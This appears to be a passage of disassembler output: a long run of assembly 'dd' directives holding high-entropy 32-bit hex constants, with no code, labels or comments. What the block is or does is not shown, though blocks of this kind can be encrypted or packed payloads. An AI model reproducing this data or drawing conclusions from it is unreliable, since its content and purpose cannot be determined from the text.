		dd 3D57CCEEh, 5FC58221h, 5F4BA3E9h, 5005ECEDh, 0A38236B4h
		dd 0F5546033h, 0BFE854E9h, 565D0BBEh, 9D002988h, 2C22462Dh
		dd 886089BDh, 0B909B2E0h, 5E3D9F0h, 0BE59B151h,	9337FDD7h
		dd 2D90E633h, 0FFFCC90Ch, 0F5A68D18h, 0BAFE6E28h, 613BA0B3h
		dd 24BB5959h, 77A52018h, 1435769Ch, 0D7AA75A5h,	12B68695h
		dd 80A3B507h, 82A321EDh, 59462E7Fh, 9743E247h, 6000BCD2h
		dd 5551B719h, 0B3063BDh, 0EE31295Ah, 84454AD7h,	0B480CE9Fh
		dd 4C4D0AFBh, 0BD5F192Fh, 8BF6B128h, 17F70924h,	0F90FCC36h
		dd 0D0047360h, 4D0E2954h, 1D2DD9C0h, 17B24A19h,	2184AF8Eh
		dd 8B4CC7FFh, 0EA6FBD05h, 234AB731h, 10003C13h,	127A02C1h
		dd 9AEDE7E9h, 0ECE65E80h, 345C0AFAh, 0B313ABA8h, 971337ABh
		dd 0F15A696Fh, 0EE2A1909h, 9C4D242h, 7DBC6636h,	0D59DF958h
		dd 85BEF81Ch, 3863BE87h, 0C3C1E911h, 9EBCED6Bh,	74D183CBh
		dd 0E60449BAh, 0B039FACBh, 0BD3540F9h, 4B8C1420h, 0FBF91305h
		dd 5E0C9304h, 2DC80102h, 0C018EAF5h, 0B7A98A95h, 2B0792E9h
		dd 0D636D992h, 883134ADh, 0AD9C592Bh, 0A8145565h, 0E1B572ACh
		dd 0FBE4896h, 0F0A95EEFh, 0EF60D385h, 3125858Ah, 0B78863DCh
		dd 6EAC8A47h, 7988E215h, 2424DA52h, 0DC5A481Bh,	0E23F8029h
		dd 52E91FF9h, 87B8C9D3h, 0E73DEE04h, 0BAF4EA62h, 7F1BB0BBh
		dd 90E30430h, 80265F32h, 0A208CD0h, 4CE9220Bh, 0EF5CD446h
		dd 0F4C8CF6Bh, 0B0B16C3h, 0B57F5A7h, 0CD84DD11h, 561F08Dh
		dd 953F757Ch, 0B0C52642h, 0B6E8AE13h, 0E9E1D1E0h, 6BCFE255h
		dd 0EBD300EDh, 6C7E27B4h, 4632EF8Fh, 8F394541h,	0EE886884h
		dd 0C5C496F8h, 3F2DBA0Ch, 0A4859B2Dh, 5A40E22Ch, 529732AFh
		dd 0E6026BFFh, 515D26BEh, 81352489h, 7ABC35B8h,	0F665E99Dh
		dd 3882827Eh, 60219823h, 265B8A0Bh, 108B1BC7h, 30B1173Ch
		dd 68DFD0EEh, 0ACBB3A89h, 9B0DA50Ch, 1C9DB607h,	1E8135Ah
		dd 0C9FEE18Eh, 5C1CA4C0h, 3C4E4A08h, 0FB7C8612h, 67680D21h
		dd 5B77612Ch, 9852E614h, 0B44279CEh, 7650AD48h,	8C2EC55Ch
		dd 0BAD766F9h, 17885846h, 0DBAF533Ch, 476B24D5h, 0E83AA7A1h
		dd 0DDE9E10Eh, 0AA5F0328h, 0C7E56569h, 0F016E917h, 0FD3665A0h
		dd 8EB5E6B0h, 0C331255Dh, 7AC1CC82h, 0AA8B22ADh, 747FE70Bh
		dd 5CB882D9h, 72D85E96h, 68543055h, 0FC474E2Ah,	12C8D16Eh
		dd 0D1F9427Dh, 0C664568Fh, 5C44EB5Ah, 0C91E46B4h, 55CE6190h
		dd 0BF02D2BEh, 0E01558BAh, 1356CFBAh, 4095237h,	1797AA56h
		dd 984ED0FBh, 840028EEh, 76F86850h, 4581233h, 85E94840h
		dd 0C132AA66h, 40926A5Ch, 0C0A7C011h, 1E07050Ch, 11F170Ah
		dd 0FA4C57D8h, 5AE6A3F7h, 7D944B81h, 965D9C62h,	0B2E42D7Fh
		dd 242A76F3h, 0E0BB6AA1h, 6AF55A25h, 0B489666h,	161F03E4h
		dd 0AF98F0Bh, 7D07C224h, 0F1A66AC8h, 11088228h,	0B378B5B3h
		dd 6E10BD03h, 0B62D1D85h, 0BB965150h, 80735BFAh, 6A685F9Dh
		dd 0E0F45C58h, 95B937E9h, 0DF62DFFEh, 0C2FAC673h, 7F966817h
		dd 4589A2D9h, 3DB2512Dh, 9D7A9AF4h, 0D4E9095Ch,	0DBF70902h
		dd 0AC2BFFEh, 69740B59h, 0D967DC25h, 103B7920h,	6C58435Dh
		dd 252E1124h, 2A2998E1h, 0FAC459EBh, 67273B76h,	19AFFD83h
		dd 491CF610h, 0F5881139h, 69DDAC48h, 9D02379Bh,	31003DD1h
		dd 95295DEBh, 0C7778F0Bh, 5C0DB2D7h, 0C9C7F95Fh, 24FFB7E2h
		dd 0FFE9680Dh, 7B573489h, 4413121Eh, 0FF315DD1h, 0ADD2D71h
		dd 0EB022436h, 1AE34439h, 1A84A5Dh, 5E726808h, 9E2F778Bh
		dd 492B9A46h, 5B3DE953h, 0AEE33F17h, 3DC7710h, 177639BBh
		dd 55E7B73h, 89C8D0DEh,	0A849C4DAh, 8CA74FD4h, 0FE4FD29Dh
		dd 2E86872h, 477D58C1h,	50E98458h, 7750B9D3h, 0C1208F26h
		dd 923FA7A6h, 3B24A4B8h, 0C47894AAh, 8494AAD1h,	0E24FE6B8h
		dd 0DDEAC054h, 0DA29FB28h, 804405Ah, 5B04C351h,	378EFB4Eh
		dd 0BBB79922h, 0A209D267h, 0B03F8BB7h, 1864E2D2h, 6C779A33h
		dd 8A3F50EEh, 0FF30F60Dh, 40DE9042h, 205B606Ch,	0CC174F47h
		dd 0E9060F94h, 5A8F92FCh, 208CE8E1h, 0D728256Bh, 2DC4D888h
		dd 9248D340h, 0E82A44C0h, 8231FC33h, 971265F6h,	17B262E0h
		dd 0BEDAF636h, 0F1A378C3h, 722AA568h, 4F6050BBh, 793054A2h
		dd 2088FC7Eh, 78578276h, 0C4054AE0h, 0FBB2FAECh, 88C659C9h
		dd 0B838D1A4h, 8FBA4F4Dh, 43AD25FAh, 5C313CE2h,	223B2A98h
		dd 0F3B0D430h, 9258E53Dh, 6AB952ABh, 6CAE49Ah, 0A3507FFCh
		dd 59BF80B1h, 61A50C16h, 0F3F49CF5h, 0E99E0B5Ah, 0B377E6FBh
		dd 0EF6ED14Eh, 0AD42417Bh, 0EC66DD34h, 0C8950FE3h, 0C90ED3E4h
		dd 0FEE1FE2Dh, 0CC566F5Fh, 0BF3E08h, 3103142Dh,	8A9809B5h
		dd 1BB85007h, 7A2FBE7Fh, 4CEAF712h, 0E9085B55h,	2069C5D7h
		dd 295F0208h, 19C7E9FAh, 0D6055C02h, 65ACF09Bh,	86553BCBh
		dd 982D6E6Bh, 0C8B6A163h, 9078CC36h, 0ABAE2026h, 1D16B97Ah
		dd 1FAB4B8Dh, 0AFEC53C8h, 502510B3h, 88273772h,	6BF30FEEh
		dd 5A0CABB6h, 0B249F251h, 60D2FFB9h, 5F1D705Fh,	2220B14Ah
		dd 0BB53C0A9h, 0C41B21B2h, 0AFFC11B4h, 88E28BB8h, 0EF58AE8Bh
		dd 0C3C52E4Eh, 580AFA2h, 759A7A3Eh, 2C015931h, 5C020D38h
		dd 56462459h, 7CF70080h, 0F4B41F8h, 0CB49068Dh,	0FAE05B8Dh
		dd 26955D57h, 459D3C16h, 82A4C95Ch, 7BCBEA98h, 706CF1C9h
		dd 5FD3B131h, 109381Eh,	861A20E7h, 0F39EDD14h, 119FB900h
		dd 64B860FCh, 75829577h, 0E9C150F9h, 538DA31h, 5D4096E2h
		dd 970B99B8h, 0F7595682h, 0E8763F1Eh, 5D52519Ch, 0F833C07Ah
		dd 0BAF02D6Bh, 0DF095576h, 0F614159h, 847AC8BFh, 0EFAFD221h
		dd 5539661h, 83A6C0BBh,	550B3241h, 2B5DEE01h, 0DA9FFE20h
		dd 0F36836E8h, 0E3335E4Eh, 0AFA3F41Dh, 0B3B2D213h, 0BB0E1047h
		dd 823F9340h, 0E9C6E3F7h, 8E2FA229h, 4F592407h,	9BBFE901h
		dd 806EBDFCh, 2A7E6FDAh, 0ADD3013Eh, 0DD54420Bh, 0EA4250F9h
		dd 0C59FF5Dh, 0EAAD3A93h, 0C1BB840Dh, 45A42A87h, 635D447Ah
		dd 0E0B493D3h, 0D6CD2D80h, 0F8C3C500h, 0B758C4B0h, 85EF12DAh
		dd 42A9D9AAh, 107531C2h, 835FE526h, 158D5ED5h, 4C31C813h
		dd 6058599Ah, 657983A4h, 492724Ch, 47D8FD92h, 268F083h
		dd 5FCDE163h, 0EA8D60A7h, 87F07EADh, 0F282180Fh, 0BFEE138Ch
		dd 0F7B0849Dh, 97DC9FF2h, 73E70C21h, 0D20BEE59h, 80088FE7h
		dd 236EC86Fh, 0F301200Ch, 295E0880h, 5951FB26h,	30AF1612h
		dd 0BB361E04h, 9BC6858h, 0F48471DEh, 56093E32h,	9D06C2AFh
		dd 681332A7h, 0A3D232ABh
		dd 0EAF409FAh, 1E925751h, 5208D2A8h, 0FB23C9DFh, 406EA248h
		dd 300FBE1Ah, 49F6FCBCh, 0B8D661FFh, 3DF71D4h, 4E820D73h
		dd 24FF39ACh, 68CE8CE0h, 4D7F3727h, 985118BBh, 0FA3E4653h
		dd 9ECE8276h, 80710E47h, 0B94E1A98h, 20449833h,	0E913F874h
		dd 8C8BA7BBh, 93AEE84Bh, 2E3469FBh, 69E7E4ECh, 0B7D51EFFh
		dd 7CAD97EDh, 1C888855h, 0C605A328h, 501538E5h,	296A860Dh
		dd 5B530B7Ah, 501345FBh, 0D1DDF30Ah, 31B1B3BAh,	44C3DFD0h
		dd 0E6185BB3h, 0B05325CEh, 99F1C939h, 63A024Dh,	0C2558B3Fh
		dd 58F451h, 0E9DE47EFh,	4CB5F7EAh, 0E1415B55h, 39FF2BFDh
		dd 10FC38C0h, 0EA48744Eh, 8BDD1584h, 66E14E28h,	520091D1h
		dd 91909AB6h, 0D6F6571Dh, 0DC05C653h, 0EAF627EDh, 0FA4E8E48h
		dd 4BE9A804h, 0C17BAFCh, 0D2D8F85Bh, 93E006BAh,	340B0EACh
		dd 85C58809h, 0EAE8DE96h, 0F6C88605h, 0CAC783D1h, 0A7B0D4E1h
		dd 3C20F64Ah, 2532681Ch, 55C9CF7h, 45DA6851h, 0A782C1B2h
		dd 78429F6h, 492F8F70h,	0E859EBB7h, 3D7410F1h, 0EEAF62F2h
		dd 401C360Bh, 0A095E20h, 6D7F800Fh, 771188F2h, 0DCF6043Dh
		dd 0EAEDF328h, 0A3B55109h, 0E566A97Fh, 5A801F98h, 83C128B4h
		dd 0F7E75DD2h, 54105884h, 0FE3B25E9h, 485BAFC6h, 833257E1h
		dd 54B4E9E1h, 0FC0784A1h, 0FDF010F5h, 5B56502Ch, 3AC535F9h
		dd 478422E2h, 8D74AA08h, 27CC1FC0h, 84355E42h, 1AC644FFh
		dd 0FD7FC5ECh, 60F8D74Dh, 3F60CFE1h, 0AA5C2C5Dh, 7E1AF525h
		dd 698D2040h, 2C6FA626h, 88078C06h, 0E3C6078Ah,	0C1108352h
		dd 0E1118BE6h, 55F02E03h, 4A2A7209h, 3FD7A921h,	2A88549h
		dd 0E7BFCD01h, 758E698Ah, 80D70932h, 93B850A5h,	659B2510h
		dd 0C22F80F0h, 54167FB1h, 6C518C9Dh, 1A210E6Bh,	0CCDD0108h
		dd 0CE5D9532h, 0A1209697h, 0C57980E9h, 42A8031Ah, 0BCC0FB09h
		dd 0B44F8A0Fh, 0B7AEB8C4h, 0E913794Ch, 5CB24FFAh, 0ED25014Ch
		dd 559D97F0h, 11A052BEh, 0F99D8061h, 45BCC247h,	5691B900h
		dd 84575E31h, 148AC3Ch,	50D074DAh, 0F320D9F7h, 0FF6138B4h
		dd 4C64ABCEh, 3AA5F1EEh, 81804CA8h, 603C66CDh, 0F5042176h
		dd 7C6E451Eh, 0C1521B96h, 0C17A4C46h, 3F4FE930h, 91F9F3C4h
		dd 5B580B9Ch, 88EBFB02h, 576192F7h, 0D2A5FE79h,	0FD3C44F5h
		dd 0EC598140h, 0ECA94F9Eh, 9CFC414h, 0B1300716h, 29548155h
		dd 65A22A7Ch, 31685F04h, 0DFE9032Bh, 5D4C34D7h,	4FBFEDC6h
		dd 0BF0C5EF4h, 0D0883202h, 0DA5A7569h, 80F860FDh, 131E73CCh
		dd 0BB5215C4h, 0E01A7CD4h, 4E87D246h, 2DAF00D1h, 0FD8129Eh
		dd 76348FE2h, 0CAFB16A6h, 64AA108Ah, 1CF55626h,	0B230FD20h
		dd 0C8289B06h, 1B75958h, 0F1B75352h, 65F5FA88h,	0FBD40575h
		dd 854A9F39h, 0FB5372A4h, 0E90A66E3h, 81F4C26Ch, 0CE398DEBh
		dd 76CBD866h, 51FE5C14h, 33D11280h, 6003E8E4h, 93B7303Ah
		dd 1690C7FEh, 9F4A8A20h, 708C767Eh, 5FF612A1h, 4521B0DFh
		dd 0FC8CCC98h, 0E4BAF1F0h, 24202F97h, 9DFA0736h, 92143066h
		dd 0B78957B9h, 5E9A552Bh, 9110EA60h, 55D84281h,	0BEEABF54h
		dd 0F32E5160h, 530C4A99h, 90F4ABB3h, 4E2C2019h,	539546ECh
		dd 65C40246h, 8D56069Fh, 3E47B27h, 310BE8C1h, 908D53A3h
		dd 9937254h, 0C9C1F29Fh, 70320506h, 56434280h, 81007427h
		dd 0A76411E7h, 27840F15h, 0B17CAC4Fh, 0E187FB70h, 0C86F2FC2h
		dd 2947D601h, 79F76FCFh, 0CC214B79h, 5A585EE1h,	3709D235h
		dd 0A334755Ch, 6BE371BDh, 1CC794FFh, 3817E7E9h,	26CBB4Ah
		dd 82A149E9h, 6F592D02h, 22D771A4h, 5F016DC8h, 31D67812h
		dd 0A8753E82h, 5518C26Eh, 44C9932Fh, 0B03E44FDh, 3C209DC7h
		dd 942AC8C3h, 0A200FB8h, 1BC1583Ah, 4BC9AA40h, 0C0B8D03Fh
		dd 18450241h, 57AEE882h, 564007B7h, 2D839550h, 0B0F603B2h
		dd 598358C5h, 1682E14Fh, 0CB7A0C80h, 0EA05ED89h, 308F1905h
		dd 0EF01F029h, 58B63ACDh, 16A8846Fh, 658AABD9h,	90458D00h
		dd 67D92D64h, 3CFAD74Ch, 0D7D56EBCh, 0F4C1D088h, 0EF3835E5h
		dd 3A94AFC4h, 0B91909BEh, 0CCD72AA9h, 0EEBF31C8h, 0BC3B1FCDh
		dd 7F109323h, 50FB3316h, 0E913083Eh, 8811445Ah,	5837BEE3h
		dd 0E15BDA82h, 0FB3A686Eh, 5A560F1Dh, 245870E3h, 0FA4BE73Bh
		dd 455FE68Bh, 0FF2EA0A5h, 5C986D32h, 9E69678h, 67568B8Ch
		dd 5A472970h, 64B9CB20h, 91AA5B15h, 544ED62h, 0FB03B4BFh
		dd 0A5744749h, 0EE7ACF0Ah, 0B7EE240h, 25617C91h, 4D59AC38h
		dd 94181582h, 0FA146079h, 66E7B716h, 3039B402h,	0E941FFE1h
		dd 0E45FC6E0h, 8106C0FCh, 0A1609DEAh, 882553F0h, 0C06C7EC7h
		dd 4F2647DDh, 3FFFE924h, 0D3684E9Ch, 29972F0Eh,	4AE5202h
		dd 1230D2CBh, 89583C04h, 77A60482h, 0B6576209h,	95699F75h
		dd 5D5DEF7h, 0CA5E8873h, 5F6B4AA7h, 92EA93C3h, 6805FDFCh
		dd 984460FDh, 8DBBC234h, 7CF7E559h, 0DDC24186h,	5B57EA77h
		dd 0F8E941ACh, 0C9AC2411h, 24223A5Bh, 6F4A6055h, 0BA6C58A9h
		dd 713BE502h, 66401030h, 0F7828A9Dh, 933D63E7h,	6B0051DFh
		dd 5B576F25h, 60089D5Eh, 0BBC059Eh, 1501AFB2h, 95927013h
		dd 3196A02Ah, 2C081DB6h, 77FF0523h, 369B8240h, 4EDD103h
		dd 0AED8676Eh, 29A5F0D9h, 0FE29E9F8h, 0DD01B76Dh, 12E537Fh
		dd 8EAC7F7h, 0DD525A0Bh, 0A9D65838h, 0F5262795h, 92A1730Eh
		dd 824D1460h, 35BA0A80h, 51D279Fh, 15DD4F9Ah, 0A67AAD40h
		dd 0BDF0E9C2h, 51BD3E00h, 4E300825h, 0DAB2A845h, 5B14AF7h
		dd 0FD2F8050h, 691FDFC4h, 7C0394A5h, 0EA3EE1D2h, 0A352672Ah
		dd 23045DC9h, 6C3AE4CCh, 1AC71B1Eh, 0C5C012D3h,	3D0FCBBAh
		dd 0E42F1F55h, 88C1CEC3h, 7F312590h, 0BF3A7069h, 9AC1B22Ch
		dd 12EEB279h, 0E8290168h, 0FD51E241h, 5C4988F9h, 6BE4580Dh
		dd 7893A0BFh, 0A02FB671h, 249843AAh, 22554E0h, 63660AF6h
		dd 6B2CAF7h, 0F1E5D08h,	602009FBh, 820D6E8h, 7F41E917h
		dd 9A9EE0BDh, 40DEFD9Ah, 4665109Fh, 0A20C328Ch,	42F8FD9Bh
		dd 95525628h, 4A587C7Dh, 0FAF23796h, 2DC00A24h,	5A1877FBh
		dd 5C89F463h, 0C992574Ch, 0E24A8559h, 8B0B9D53h, 7D762B6Dh
		dd 79979315h, 3C5101E0h, 8C13E2B1h, 0A1A4B819h,	0C59D5887h
		dd 0F84ED6E5h, 0E7944836h, 0C8B65290h, 32CE3980h, 0C057E680h
		dd 0DEF602EEh, 7202598h, 66CC9EDh, 12BF0779h, 75CD1D4Bh
		dd 0C7CD462Eh, 0EE067369h, 53B1397Bh, 36540B0Ch, 6757E4F4h
		dd 40E03C9Ah, 48363CF6h, 49AD5997h, 2F11E980h, 759D02F0h
		dd 80B2B1A0h, 310B43F6h, 6268E9FEh, 0F0AF40EBh,	49850C13h
		dd 0E38EC383h, 0D812DA17h, 3A44621Eh, 0ECEA7FEDh, 74680968h
		dd 2FD4C649h, 0CD530384h, 7DB15549h, 84D17A02h,	0FD96D9BDh
		dd 20C4BBEBh, 2176E5FBh, 0C03487E9h, 7B8307E1h,	0E22F023Fh
		dd 5CA5311Eh, 67399640h, 745F9A2Fh, 0B8E0C2D0h,	89FD4D7Dh
		dd 10F02DE9h, 8E7373BDh, 0E1101089h, 3381B918h,	136896C9h
		dd 2BDE7155h, 0F2AEF013h, 57F2B5D3h, 6B7B6882h,	9096B4FDh
		dd 75BD18C8h, 25F4B63Fh, 82065997h, 6859351Fh, 4270425Dh
		dd 3DC340C4h, 0C6291287h, 98205D58h, 39D448D8h,	6116F3Fh
		dd 57E1E9D0h, 140E98D1h, 9888724Ch, 4A07AC01h, 44CB0110h
		dd 0E90802CEh, 0E2D4AF6Eh, 6F4874A7h, 0D2BA37A5h, 3E42D01Dh
		dd 0F89F0CC4h, 38883258h, 4C5F0C24h, 0D25B65BBh, 8D529CCh
		dd 764E52D2h, 0BA0BB574h
		dd 52440E7h, 0AD11168Ch, 53034B48h, 0E98EED5Bh,	562F1C1Fh
		dd 0AF45E44Bh, 30AA6D17h, 6EE1804Bh, 0B5BB5E00h, 0E9D5D24Bh
		dd 0E4314A32h, 63651D10h, 0DCC2E0FFh, 0FAA257D1h, 187F2234h
		dd 98768D24h, 0BBDDF0EDh, 3ED7A7F8h, 500DB61Bh,	0DF3F6E6Ch
		dd 1FF60007h, 0E9D4A9E3h, 0B9445A27h, 0F254CC30h, 3F80B526h
		dd 834633BEh, 6A8C1D50h, 2B371C14h, 5C0B5AABh, 4561715Dh
		dd 883CFB5Ch, 0AE544A55h, 4A921F8Dh, 0D75D6220h, 5A7E13F0h
		dd 667BDF25h, 93F59534h, 711BF9EAh, 1F08253Fh, 542DE0D8h
		dd 0F8DDDE5Dh, 5797D301h, 0C3249796h, 146A2F02h, 0B05A4C10h
		dd 0A82F5532h, 0C384503Bh, 4350606h, 3B0AA6B9h,	4DD48CC1h
		dd 435F3089h, 44622E80h, 72973D8Bh, 0E9DE27ECh,	5F9707D5h
		dd 0C2547065h, 73AA09D8h, 2F7B7866h, 0B8C7E448h, 5618408h
		dd 0AF556851h, 8780F934h, 901A0B18h, 0DD563A0h,	6A18FD29h
		dd 0F3538878h, 0A25B131Dh, 7CFEED18h, 0DC619C5Bh, 0AC150CF4h
		dd 313C134Dh, 57032CFFh, 5409537Fh, 5C52A121h, 0D7B4987Dh
		dd 7F4A8F0Fh, 4ABEA8A4h, 89A7FC68h, 580A4165h, 5156072Eh
		dd 6DF34753h, 870CE494h, 525A5927h, 3F826966h, 57CE55h
		dd 4FF1E681h, 86E942B9h, 31F1D2B7h, 1A7B7853h, 9CBA74C9h
		dd 8BBBC8D6h, 463524F4h, 702D0D81h, 0E1400A9Eh,	0A1216C28h
		dd 0EE55E6DCh, 0B30DD1BBh, 193B8851h, 815B003Dh, 9F4F07EDh
		dd 8E0F6005h, 4EFCE3B2h, 458C3FC4h, 0F3E43E50h,	171163E7h
		dd 0BF11479Fh, 0B27456EBh, 14DD978Eh, 308A262Eh, 3C4DA670h
		dd 0E45F4A7Bh, 1DC47CC0h, 0F905EAC1h, 0A515B4D9h, 949D7BF1h
		dd 0F7C25BE9h, 0D3929B67h, 11FA2053h, 150EA715h, 0DF9CB858h
		dd 8394B750h, 0C54F59E9h, 1D1000B6h, 68AD0E70h,	5C603235h
		dd 2DE65506h, 3C7A054Ah, 8DB03698h, 8176CD00h, 0FD2E94C2h
		dd 96E9183Eh, 6ECF7F9Bh, 94AD2FE1h, 463CE985h, 0AE02B2CCh
		dd 9CF9CE8Ah, 5C746069h, 0C024AB49h, 4EE22DC9h,	8496E86Dh
		dd 0B3000E75h, 38C380B9h, 0C2BE06CEh, 422857F3h, 6D727759h
		dd 0D1BC6A24h, 0B16802BFh, 5573953Fh, 0B9002496h, 6FAA4F8Dh
		dd 0F3E9CF31h, 9EDEBBA5h, 812D3Ch, 0D0F758EBh, 9EC9040h
		dd 356E453Bh, 0F1C11980h, 0F095035Ah, 0ED505080h, 0EC5B4B77h
		dd 0A742B112h, 0E17996A4h, 7A52D368h, 58E9EA60h, 0FD79979Dh
		dd 0A0EF88h, 6B5BEAB9h,	0CE260910h, 60008B59h, 12CD677h
		dd 8216B7C6h, 0C583FE34h, 0C4518CEEh, 1636DF41h, 100FB94Fh
		dd 0F55B3C3Dh, 8A817FF7h, 0BC6A5776h, 18F2B7D9h, 0B78CC08h
		dd 2CA45DAh, 892767D6h,	3F047548h, 85D9B2F9h, 0B1D90964h
		dd 0BA28D9E4h, 0DD00392h, 48C12A85h, 3F34C3E1h,	3840F445h
		dd 1E63A50h, 4AA54861h,	0B8765BEh, 0BE9CE29h, 3FB1DD70h
		dd 0E8E88292h, 0A1C9B84Eh, 0C06854Dh, 4770C20h,	0CD6596BBh
		dd 6001FE3Bh, 0EF1457Ch, 12BEE530h, 847F4E6Dh, 573F80ACh
		dd 44F1147h, 11D496BAh,	28AA1CC1h, 442F758Fh, 983C23CBh
		dd 0A16027Dh, 86C75566h, 0AA99F671h, 126CAC70h,	0F056FE5Dh
		dd 8A2EB0Ch, 83471C51h,	71AC56FBh, 327EEDE9h, 1D293B31h
		dd 0DA04423Ch, 0A2EED387h, 25E9A088h, 0FFFA9537h, 256A633Bh
		dd 0EF37507Dh, 0F2AAD06Bh, 0C82646F9h, 6208D313h, 64CA8832h
		dd 0F54BAB27h, 31AB4E90h, 0B5CA3DC0h, 0EC62A476h, 3E5E03E2h
		dd 0D2F77E24h, 9E345802h, 7709E3C9h, 4D961EA1h,	58C2E0C4h
		dd 1EA8312h, 11D1F08h, 6F4ABD55h, 0E50E70BFh, 0BEE44798h
		dd 0D809ADBAh, 183B35h,	0BB21CC1Dh, 0F1810233h,	7CA93E8Ah
		dd 9D51342h, 0EF365521h, 0C2B5DEB7h, 97246FE3h,	0C10849C2h
		dd 74505B7h, 0F3981CBEh, 0A388EFEFh, 629D7C74h,	70F47759h
		dd 3E3B2581h, 42B52B6h,	0F509115h, 0AEB226ACh, 0FF585B2Ah
		dd 0B8B35A67h, 0B6AF8591h, 4B449F9h, 71227AF4h,	1388987h
		dd 9A44F0BFh, 2FEC3143h, 97BEA653h, 9236B243h, 575C6DDh
		dd 0C34975C6h, 9E9C0132h, 0F22CCB7Fh, 92BD6057h, 0E98FEAA3h
		dd 0C938442Ah, 0CEEF1365h, 0D4683E03h, 4334E9A0h, 40EF6D79h
		dd 0C57E8CC2h, 57D646DCh, 0F3F708F8h, 47263AA0h, 0CEA56DDFh
		dd 26418744h, 0F121580Ch, 7DBA2295h, 58251C7h, 0FE545358h
		dd 0C3C8BBE2h, 66C55045h, 54970BBEh, 0BE8B4555h, 565C9254h
		dd 0D626889h, 0BB9D5F7h, 25BB2F5Dh, 5B19F622h, 99EFDD12h
		dd 0BFE77B1Dh, 2B65B15Bh, 2CEF8A98h, 588F2C8Bh,	60281309h
		dd 5C04F07Ah, 296E2FADh, 82762DFFh, 0CA20742Eh,	898E7EC0h
		dd 92DFA131h, 80F05F45h, 0E0095A98h, 0FC212928h, 0AFE99C4Ch
		dd 8B7D0862h, 5847DFF1h, 3C16D2A6h, 55616289h, 0A65FF6E8h
		dd 0ED5941D3h, 0F2166FC2h, 0A28645B8h, 0ED0493A6h, 3E965747h
		dd 7ACE76C0h, 2FE9F2D4h, 1D53EC30h, 1E916D4Fh, 8A75886Fh
		dd 22FF2B4Ah, 5C414628h, 0DA1EF816h, 0F0F3292Dh, 2CC69FB4h
		dd 18E97F4Bh, 893EF21Eh, 888055F5h, 5A482D53h, 0E96382B5h
		dd 3927C0Ah, 492C8604h,	3684D8C9h, 9EEE4E3Fh, 48302708h
		dd 61458B36h, 0C7800C1Eh, 7472F9B3h, 0DE77293Ch, 0E8C0B55Fh
		dd 77632ABAh, 53BE0016h, 315B6B41h, 19A5AD6h, 23BDE97Ch
		dd 4A5DEACAh, 1647ADADh, 0C7EC4469h, 5E9680B5h,	3F98BE5Ah
		dd 0A0552527h, 0D74A8BDCh, 800F2634h, 85183566h, 342BDA2h
		dd 2E7DA2F3h, 9FD7D908h, 8AD5F87Fh, 3393D67Bh, 0CD74788Dh
		dd 402A4EBDh, 2631D61Dh, 0A4020D14h, 0C13FD357h, 1C08C0E0h
		dd 4D7582DBh, 3956A52Fh, 5E3AE9D0h, 7FEE9D6Ch, 8C0F2944h
		dd 0EBB5300h, 7F67D04Ah, 1600C5D2h, 54AEE92Bh, 3287D08Ah
		dd 0A4FF6879h, 0D69711D0h, 6AB38B87h, 31ECCC5Fh, 31850827h
		dd 4CEB1163h, 0B8287AFCh, 2BCAA268h, 24387B08h,	187C2758h
		dd 28BB5D92h, 152768A4h, 0C9095112h, 9F793F56h,	9F5C4F24h
		dd 0E3E2BED4h, 0C4B5765Ah, 0F425F455h, 0A8439662h, 91675754h
		dd 8212133Fh, 0BEB89284h, 1829CB84h, 2E32E7FAh,	24D01C9h
		dd 6A69156Fh, 45803C40h, 47651D18h, 0D48B10Eh, 2BE98306h
		dd 0D4E7EC51h, 7031192Ch, 6698CF01h, 0E33030B2h, 0AB2A4B51h
		dd 265B9F8Fh, 681C0805h, 77251A71h, 5230C1EEh, 10A6C481h
		dd 0EC455BA5h, 2F074108h, 0E2223F1h, 4B22CF10h,	894022F8h
		dd 0D238B7BDh, 5D829D37h, 0D9F5D0C2h, 2975EB48h, 6B8F7579h
		dd 16E9FD01h, 0B8E96EDAh, 0BD476712h, 70CF2FCBh, 0BBF3BFDCh
		dd 0BCCA2E8Ah, 5FE8FFA5h, 55866358h, 0B77AC308h, 0CFE4A19h
		dd 0E90E5DD6h, 19421B17h, 72D43001h, 0FBE81047h, 4505807Eh
		dd 34DEEA16h, 5D58E08h,	0BF1AF268h, 0EF4B718Fh,	27E97BDCh
		dd 0FF41666h, 908D562h,	49A96080h, 7D90A061h, 431BFE09h
		dd 528B005Dh, 4D1737BAh, 3304C39Dh, 0BF2B666Bh,	360C1E12h
		dd 98080602h, 304A0CD8h, 0B4D2091Fh, 498CB12h, 834FA3A8h
		dd 38882CE2h, 0D9680176h, 22250876h, 9161BCh, 7C232548h
		dd 32F670E2h, 1B49CD4Fh, 0F513E285h, 54C037F9h,	48C2685Ah
		dd 0E0D08F76h, 19A5D10h, 43AB30B8h, 0AF3B293Ch,	0EC2BC82Dh
		dd 5F29CBA9h, 0E03AB6C2h, 7B471911h, 6A68B1C1h,	0C8604E35h
		dd 0F49807Fh, 33728D1Ah, 8EF1D77Eh, 1455997h, 1ACB5E53h
		dd 0BAF7B665h, 0D262D48Dh, 4B2FDCD0h, 4BF33DA9h, 405F253Fh
		dd 67C809A0h, 0D3F4A059h, 0CD0C019Bh, 22E5B2E9h, 656EC558h
		dd 8A47F870h, 231DFE5Eh
		dd 29F099CBh, 410BF573h, 172F6D5Dh, 34999357h, 4CD4D0ACh
		dd 7897BD6Dh, 5AAA00C8h, 0CB29778Ah, 0A70BBE56h, 7C1F5734h
		dd 0F375058Ch, 0ED43AA15h, 567AA28h, 7E18930Ch,	8B38237h
		dd 416D02F7h, 932F0C7h,	5D4E3EFAh, 0F72A82D5h, 5F48D5D9h
		dd 562FD58Bh, 89277CE8h, 0CE05EF3h, 0B300310Ch,	0C2354053h
		dd 0B7194164h, 381AC8Ah, 5AB94950h, 9BE9E70Bh, 24D059B4h
		dd 0F975173Ch, 5E40848Ch, 426BBE03h, 6F60789Bh,	0DF6CCE6Ch
		dd 60216B74h, 0EB405D04h, 206EDE39h, 69D4E909h,	7FAFA8B3h
		dd 7F78E018h, 684164B4h, 1B9D7C83h, 73E5A56Ah, 8E25DD2Dh
		dd 0D288FACCh, 0D6E4972Ch, 0ADDF016Eh, 0A53ACDDBh, 0F0F1F593h
		dd 0C8978287h, 3980CECDh, 0F59F6FCDh, 0CDCDBF20h, 16F7332Fh
		dd 26852079h, 89A5683Ah, 0F5586D39h, 0F68E1A82h, 0FE0D6469h
		dd 300947C1h, 480769Bh,	64D4962Eh, 0EAB185B1h, 559B3AF4h
		dd 0BD2B9D95h, 0D9E9B036h, 0AC3BE156h, 8268B393h, 9F435180h
		dd 0E100A277h, 151F1E61h, 60A2880Fh, 0AFC11993h, 257CA052h
